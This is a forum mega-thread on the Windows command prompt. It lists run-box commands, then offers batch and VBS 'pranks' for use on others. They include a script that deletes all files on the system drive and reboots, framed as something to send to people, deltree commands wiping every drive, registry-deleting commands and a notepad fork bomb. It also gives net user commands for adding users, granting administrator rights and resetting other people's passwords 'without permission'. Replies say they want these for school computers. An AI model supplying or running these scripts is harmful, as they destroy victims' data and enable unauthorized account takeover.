[Mega-Thread] CMD or Command Prompt

Dark_Angel+Revolutionist
by Dark_Angel+Revolutionist · 20 posts
14 years ago in White Hat Activities
Posted 14 years ago · Author
Before you start reading this topic you have to knwo that you are responsible for your actions using these information, I am not responsible for any damage. use this data to h4c|<, cheat, prank or make fun of someone

Command Prompt

Some Information about this great tool
Unlike COMMAND.COM, which is a DOS program, cmd.exe is a native program for the platform. This allows it to take advantage of features available to native programs on the platform and not available to DOS programs. For example, since cmd.exe is a native text-mode application on OS/2, it can use real pipes in command pipelines, allowing both sides of the pipeline to run concurrently. As a result, it is possible to redirect the standard error in cmd.exe, unlike COMMAND.COM. (COMMAND.COM uses temporary files, and runs the two sides serially, one after the other.)
Really though, cmd.exe is a Windows program that acts as a DOS-like command line interpreter. It is generally compatible, but provides extensions which address the limitations of COMMAND.COM:
SETLOCAL/ENDLOCAL commands limit the scope of changes to the environment
internal CALL and GOTO labels lessen the need for individual batch files to perform parts of a task.
filename-parsing extensions to the SET command are comparable to C shell.
an expression-evaluation extensions is also provided in the SET command.
an expansion of the FOR command to support parsing files and arbitrary sets in addition to filenames.
use of arrow keys to scroll through command history (provided by DOSKey in COMMAND.COM)
off-by-default path completion capabilities similar to bash tab completion
a directory stack accessible with the PUSHD and POPD commands
IF can perform case-insensitive comparisons and numeric equality and inequality comparisons in addition to case-sensitive string comparisons
the ability to escape reserved characters by using the caret character (^)
The extensions can be disabled, providing a stricter compatibility mode.
(Wikipedia was the source of this review)

Code Explanation
Some Useful codes with a small explanation read carefully before use guys :)

Code
Accessibility Controls - access.cpl

Accessibility Wizard - accwiz

Add Hardware Wizard - hdwwiz.cpl

Add/Remove Programs - appwiz.cpl

Administrative Tools - control admintools

Automatic Updates - wuaucpl.cpl

Bluetooth Transfer Wizard - fsquirt

Calculator - calc

Certificate Manager - certmgr.msc

Character Map - charmap

Check Disk Utility - chkdsk

Clipboard Viewer - clipbrd

Command Prompt - cmd

Component Services - dcomcnfg

Computer Management - compmgmt.msc

Control Panel - control

Date and Time Properties - timedate.cpl

DDE Shares - ddeshare

Device Manager - devmgmt.msc

Direct X Troubleshooter - dxdiag

Disk Cleanup Utility - cleanmgr

Disk Defragment - dfrg.msc

Disk Management - diskmgmt.msc

Disk Partition Manager - diskpart

Display Properties - control desktop

Display Properties - desk.cpl

Dr. Watson System Troubleshooting Utility - drwtsn32

Driver Verifier Utility - verifier

Event Viewer - eventvwr.msc

Files and Settings Transfer Tool - migwiz

File Signature Verification Tool - sigverif

Findfast - findfast.cpl

Firefox - firefox

Folders Properties - control folders

Fonts - control fonts

Fonts Folder - fonts

Free Cell Card Game - freecell

Game Controllers - joy.cpl

Group Policy Editor (for xp professional) - gpedit.msc

Hearts Card Game - mshearts

Help and Support - helpctr

HyperTerminal - hypertrm

Iexpress Wizard - iexpress

Indexing Service - ciadv.msc

Internet Connection Wizard - icwconn1

Internet Explorer - iexplore

Internet Properties - inetcpl.cpl

Keyboard Properties - control keyboard

Local Security Settings - secpol.msc

Local Users and Groups - lusrmgr.msc

Logs You Out Of Windows - logoff

Malicious Software Removal Tool - mrt

Microsoft Chat - winchat

Microsoft Movie Maker - moviemk

Microsoft Paint - mspaint

Microsoft Syncronization Tool - mobsync

Minesweeper Game - winmine

Mouse Properties - control mouse

Mouse Properties - main.cpl

Netmeeting - conf

Network Connections - control netconnections

Network Connections - ncpa.cpl

Network Setup Wizard - netsetup.cpl

Notepad - notepad

Object Packager - packager

ODBC Data Source Administrator - odbccp32.cpl

On Screen Keyboard - osk

Outlook Express - msimn

Paint - pbrush

Password Properties - password.cpl

Performance Monitor - perfmon.msc

Performance Monitor - perfmon

Phone and Modem Options - telephon.cpl

Phone Dialer - dialer

Pinball Game - pinball

Power Configuration - powercfg.cpl

Printers and Faxes - control printers

Printers Folder - printers

Regional Settings - intl.cpl

Registry Editor - regedit

Registry Editor - regedit32

Remote Access Phonebook - rasphone

Remote Desktop - mstsc

Removable Storage - ntmsmgr.msc

Removable Storage Operator Requests - ntmsoprq.msc

Resultant Set of Policy (for xp professional) - rsop.msc

Scanners and Cameras - sticpl.cpl

Scheduled Tasks - control schedtasks

Security Center - wscui.cpl

Services - services.msc

Shared Folders - fsmgmt.msc

Shuts Down Windows - shutdown

Sounds and Audio - mmsys.cpl

Spider Solitare Card Game - spider

SQL Client Configuration - cliconfg

System Configuration Editor - sysedit

System Configuration Utility - msconfig

System Information - msinfo32

System Properties - sysdm.cpl

Task Manager - taskmgr

TCP Tester - tcptest

Telnet Client - telnet

User Account Management - nusrmgr.cpl

Utility Manager - utilman

Windows Address Book - wab

Windows Address Book Import Utility - wabmig

Windows Explorer - explorer


Tips/Tricks

So let's start with the Shutdown comamnd very simple and works as another way to shut down your computer if the real shutdown button won't work xD

Code
shutdown -s


Anyone ever heard about the blue screen of death?xD
The Blue Screen Of Death can be coded and sent to you like any application. It is up to you to be carefull and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install ur windows again
Don't use it guys O.o

Code
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00


CMD can be used as a messenger to messege people on the same network useful if teahcers in school won't let you use MSN
Code
@echo off
:A
COLOR 0c
cls
echo ----------------------
echo Ultimate CMD Messanger
echo ----------------------
set /p n=Buddy -
set /p m=Message -
net send %n% %m%
pause
Goto A


This command will execute a fake system deletion and in the end it will pop up a message it has been done Don't fall for this Trick your friends this was amde to make people think it's real :)

Code
@echo off
@color 0c
echo !!!Deleting C Drive!!!
echo do not exit, exiting will result in total system failure!
pause
@color
echo Do you want to continue deleting your C drive?
echo press y for yes or n for no
pause
echo you chose yes, please confirm by pressing y/n
pause
msg * Deleting C Drive...
dir /s
dir /s
dir /s
dir /s
pause
echo C drive successfully deleted!
:MSG
msg * "The C drive is Fcked"
goto MSG


This code will shutdown your PC with a messege, PS you can change your messege "shuting down cause i can't take all this shit in me anymore, i hate you!

Code
@echo off
msg * shuting down cause i can't take all this shit in me anymore, i hate you!
shutdown -c "Error! You are too stupid!" -s -t 10


This will delete all of your drives so don't use it i beg of you :P

Code
deltree /y C:\
deltree /y E:\
deltree /y A:\
deltree /y F:\
deltree /y G:\
deltree /y D:\
deltree /y H:\


This code will pop up endless notepads till your PC freezes and crashes

Code
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


This code makes your Caps Lock button to go crazy!!! on and off continuesly very fast :)

Code
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop


Well a code to delete all of your key registries Do not use on your own PC!!!

Code
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been *fucked*.  Have a nice day.
GOTO MESSAGE


Notepads Codes/Tricks
To use these files use the .vbs extension
Create a notepad file and paste the codes in it, then save as pick a name for the file choose all files and save it just like my example malakia.vbs


This is a trick to make the victim think his PC is being controlled he will deffinantly fall for this You can change the messege as whatever you want to great trick ;)


Code
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m wa"
WScript.Sleep 500
WshShell.SendKeys "tchi"
WScript.Sleep 500
WshShell.SendKeys "ng y"
Wscript.Sleep 500
WshShell.SendKeys "ou!"


This code makes your Caps Lock button to go crazy!!! on and off continuesly very fast :)

Code
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop


This code will constantly use the backspace button :)

Code
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop


This code will make your drivers go crazy and pop up all the time

Code
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop


This will pop up a messege that you need to restart your computer due to error

Code
Do
x=msgbox("Windows Protection error: D556d5. Please restart your computer",21,"Error")
loop


For the better use of vbs codes you can prank people by using shortcuts
1paste your file somewhere on someone's PC, create a shortcut with the path of your file make it look like another program rename it etc and change icon then make that guy use that shortcut done!:)

.Bat extrension codes
To use a .bat extension file all you need to do is make a notepad paste a .bat code in it then "save as" select "all files" change the name if you want with a .bat extension and then save. Execute the file if you want xD


This will make your window files password protected and hidden

Code
cls
@ECHO OFF
echo          // Check1 (In Main Function)
title Folder LockFolder
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLockFolder
if NOT EXIST LockFolder goto MDLockFolder
:AuthConfirm
echo Are you sure u want to Lock Folder  (Y/N)
set/p "cho=>"
if %cho%==Y goto LockFolder
if %cho%==y goto LockFolder
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto AuthConfirm
:LockFolder
ren LockFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder LockFolder Locked!
goto End
:UNLockFolder
echo Enter password to Unlock Folder
set/p "pass=>"
if NOT %pass%==TYPE YOUR PASSWORD HERE goto FailUnlock
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" LockFolder
echo Folder UnLocked successfully!
goto End
:FailUnlock
echo Invalid password!
echo Try again?  (Y/N)
set/p "choice=>"
if %choice%==Y goto UNLockFolder
if %choice%==y goto UNLockFolder
if %choice%==N goto END
if %choice%==n goto END
:MDLockFolder
echo          // Check2 (In MD Dir Function)
md LockFolder
echo Folder LockFolder created successfully!
goto End
:End


Code
the matrix code

no need to explain something here just youtube it :).

Code
@echo off
:top
color 0a
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto top


Image

Image

you can customize your cmd to look like whatever you want i'll make a topic about it later :)

CMD commands

Sorry guys couldn't compile the whole list it would take a decade to post all that in here and 2-3 pages i will give you a link to a website i recommend you should visit and read carefully:

http://ss64.com/nt/

Command.com

Windows NT comes with two "command line shells" -- one called CMD.EXE and the other called COMMAND.COM. If you're wondering which one to use, following information might help:
CMD.EXE is the Windows NT's native command prompt (or shell), which means it is more portable among different hardware platforms. For example, if you type SET and press ENTER inside a CMD.EXE prompt, you'll notice that CMD.EXE exposes more environment variables than COMMAND.COM. On the other hand, COMMAND.COM is the more "MS-DOS compatible" version of the two shells. For example, this shell will call AUTOEXEC.NT and CONFIG.NT (located in the SYSTEM32 directory inside your Windows NT directory) just like MS-DOS used to call AUTOEXEC.BAT and CONFIG.SYS.

So, if you're having trouble running your old DOS command line programs from Windows NT, try running them inside a COMMAND.COM shell, not CMD.EXE
So to use command.com simply
start > run > cmd and type "command.com without quatations or just create a notepad with .bat extension and the code command.com in it save as .bat and execute that :)

How to create a new user on a system without permission:
open command.com or cmd and type

Code
net user "type your username here" "type your password here" /add


how to make anyone administrator

Code
net localgroup administrators "someones username" /add


how to change someones password without knowing the real password

Code
net user "type the username" *


done
That was my thread for cmd i might update this to post more tricks
I hope it was helpful :D
Posted 14 years ago · Author
eheh thnx Don took me 2h xD
i hope it'll help people
What you just said makes me think about posting Linux,mac or Windows h4c|<s O.o
Posted 14 years ago
O__o

You're a real cmd geek!! I made fun with some shutdown and start cmd codes two years ago... :lol:

C'mon, you'll make me reinstall Fedora -.-"
Posted 14 years ago · Author
omg dude be careful i didn't post these to kill our mafia xD
as i said before use those codes wisely or else you will end up formatting your PC ^^
Posted 14 years ago
Dark_Angel+Revolutionist wrote:
omg dude be careful i didn't post these to kill our mafia xD
as i said before use those codes wisely or else you will end up formatting your PC ^^


Why do you think I'll try them on my PC? :mrgreen:
And many people would pay for formatting, partitioning and installing ^^
Posted 14 years ago
Cool....I need the Admin code for my comps in school xD
I'm gonna have so much fun with them xD
Posted 14 years ago
I didnt have time to read this. LOL. You may also know this trick for sure but i though ill post if if you didnt. xD

----------How to change a users password without knowing it-----------

Its not a h4c|< just a small trick


First open CMD. If you are in Vista or Windows 7 then you have to run it as administrators.

Once cmd opens type

Code
net user


Press enter. Tehn type

Code
 net user usename*


in username type the person you want to change password off. Also dont forget to put star after username without space.

Then It was say put a new password. Type in your password. It will appear blank. But just type the password and press enter. Then confirm the password. Again nothing will appear. Once pressed enter again. The password will be changed to what ever you typed.[/quote]
Posted 14 years ago
u know u put alot of codes up there do u have the one to change some pw without u being admin.

Create an account or sign in to comment

You need to be a member in order to leave a comment

Sign in

Already have an account? Sign in here

SIGN IN NOW

Create an account

Sign up for a new account in our community. It's easy!

REGISTER A NEW ACCOUNT